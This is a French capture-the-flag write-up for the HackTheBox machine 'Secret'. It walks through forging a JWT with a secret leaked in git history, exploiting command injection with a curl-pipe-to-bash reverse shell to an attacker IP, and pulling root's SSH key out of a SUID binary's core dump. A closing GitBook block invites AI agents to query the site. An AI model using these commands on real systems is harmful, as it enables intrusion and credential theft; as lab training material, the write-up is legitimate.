> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Compte rendu HackTheBox de Secret {% embed url="" %} {% hint style="warning" %} **Compétences**: * Analyse de code * Utilisation abusive d’une API * Jetons Web JSON (JWT) * Exploitation/Utilisation d’un core dump (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.
**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.
**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```
**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (80,22,3000)
Analyse des versions des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```
Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :
> **Observation**: Le même site Web est accessible sur les ports 80 et 3000.
**Recherche de répertoires :** Nous utilisons Gobuster pour rechercher des répertoires sur le site : ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
## Enregistrer un utilisateur de l’API Dans la section "docs", nous trouvons des instructions pour enregistrer un utilisateur. Exemple pour l'utilisateur « jordan » :
```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```
## API d’authentification Pour se connecter : ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` Cela nous renvoie un jeton d’authentification (`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`
### Vérification du corps JSON par défaut
`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`
### Vérification de la vulnérabilité [Jeton Web JSON](/fr/web-vulnerabilities/json-web-token-jwt-attack.md) Utilisez un site pour décoder le JWT afin de lire et manipuler son contenu. > **Remarque**: Le jeton JWT devrait être invalide. En modifiant les champs "name" et "email" par ceux d’un administrateur : {% embed url="" %}
`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`
### Tentative d'accès à une API privée : Tentative de connexion à une API privée à l’aide du JWT modifié : {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} Nous recevons le message « invalid token ».
Avec notre propre JWT, nous avons accès en tant qu’utilisateur normal : {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} Nous recevons le message « You are normal user ».
## Énumération des routes de l’API avec Wfuzz Utilisez Wfuzz pour explorer les routes disponibles : {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} Nouvelle découverte : la `/api/logs` route.
## Analyse du code source La page Web propose une option pour télécharger le code source.
> **Trouvailles** : * Un `.env` fichier contenant un `token_secret` avec la valeur « secret ».
Un `.git` dossier avec un commit indiquant la suppression du fichier `.env`.
L'ancien fichier supprimé `token_secret` est trouvé : `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`
Utilisez cet ancien `token_secret` pour signer un JWT avec les informations d’administrateur et accéder à l’API privée : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`
{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **Résultat**: Message de bienvenue en tant qu’administrateur : "welcome back admin".
Enfin, en exécutant la `/api/logs` route, le contenu suivant s’affiche : ```json "cmd": "git log --oneline undefined" ```
En examinant le `privitate.js` fichier et en analysant le code, nous voyons que :
## Vulnérabilité RCE : {% hint style="info" %} Ce code présente un problème de sécurité dû à une injection de commande. En effet, `le fichier` provient des paramètres de requête et est inséré directement dans la commande du terminal ; un utilisateur malveillant pourrait modifier `le fichier` pour exécuter d’autres commandes. La fonction de cette route est d’exécuter la `git log --oneline [file]` commande sur le système, où `[file]` est un fichier spécifique demandé dans le paramètre de requête. {% endhint %} Voici un exemple `curl` de commande qui tente d’injecter `id`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}
#### Nous allons lancer un reverse shell : 1. Créez un `index.html` fichier sur notre machine et créer un serveur web avec le contenu suivant : ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. Ensuite, écoutez sur le port 4444 : ```bash nc -nlvp 4444 ``` Lancez une injection avec `curl` sur notre serveur web : {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}
### Drapeau user.txt :)
**Gestion du terminal :**/ Une fois que vous avez accès au serveur Linux, voici les commandes à exécuter pour un traitement efficace dans le terminal : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilisez le shell pour travailler plus confortablement. ## Élévation de privilèges (SUID) Avec la commande suivante, nous vérifions si notre utilisateur **dispose de privilèges SUID**: ```bash find / -perm -4000 2>/dev/null ``` Nous trouvons un fichier rare situé dans `/opt/count`, dont le propriétaire est `root`.
Lors de l’exécution de ce binaire, il nous demande de fournir un fichier, puis il affiche le nombre total de caractères, de mots et de lignes. Ce script lira le contenu du fichier puis affichera ses propriétés.
### Binaire de core dump En examinant le code source, nous pouvons observer qu’un core dump est généré, stockant temporairement le contenu en cas d’erreur.
Les erreurs sont enregistrées dans le `/var/crash` répertoire. Voici comment créer un core dump : 1. **Entrez le nom du fichier ou du répertoire :** ```bash Entrez le nom du fichier/répertoire source : /root/.ssh/id_rsa ``` *(clé SSH root)* 2. **Enregistrer les résultats dans un fichier ?** ```` ```css Enregistrer les résultats dans un fichier ? [y/N] : ^Z ``` ```` *(Mettre en arrière-plan)* 3. **Obtenez le PID :** ```` ```bash ps ``` _(Copier le PID)_ ```` 4\. **Tuer le processus :** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **Relancez le binaire :** ```` ```bash fg ``` ```` 6\. **Vérifiez le répertoire des core dumps :** ```` ```bash ls -l /var/crash ``` ```` *(Un nouveau fichier apparaît : `_opt_count.1000.crash`)*
Nous avons maintenant un core dump en base64 contenant la clé SSH de root.
### Apport-umpack Pour extraire les informations, nous utiliserons `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` Ensuite, nous listerons le contenu du fichier dans `/tmp/ssh/coredump` en utilisant `strings`:
Nous trouvons la clé SSH de root
### Connexion SSH Une fois que nous avons créé le `id_rsa` fichier avec les permissions 600, nous pouvons nous connecter via SSH : ```bash ssh root@10.10.11.120 -i id_rsa ```
### Flag root :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.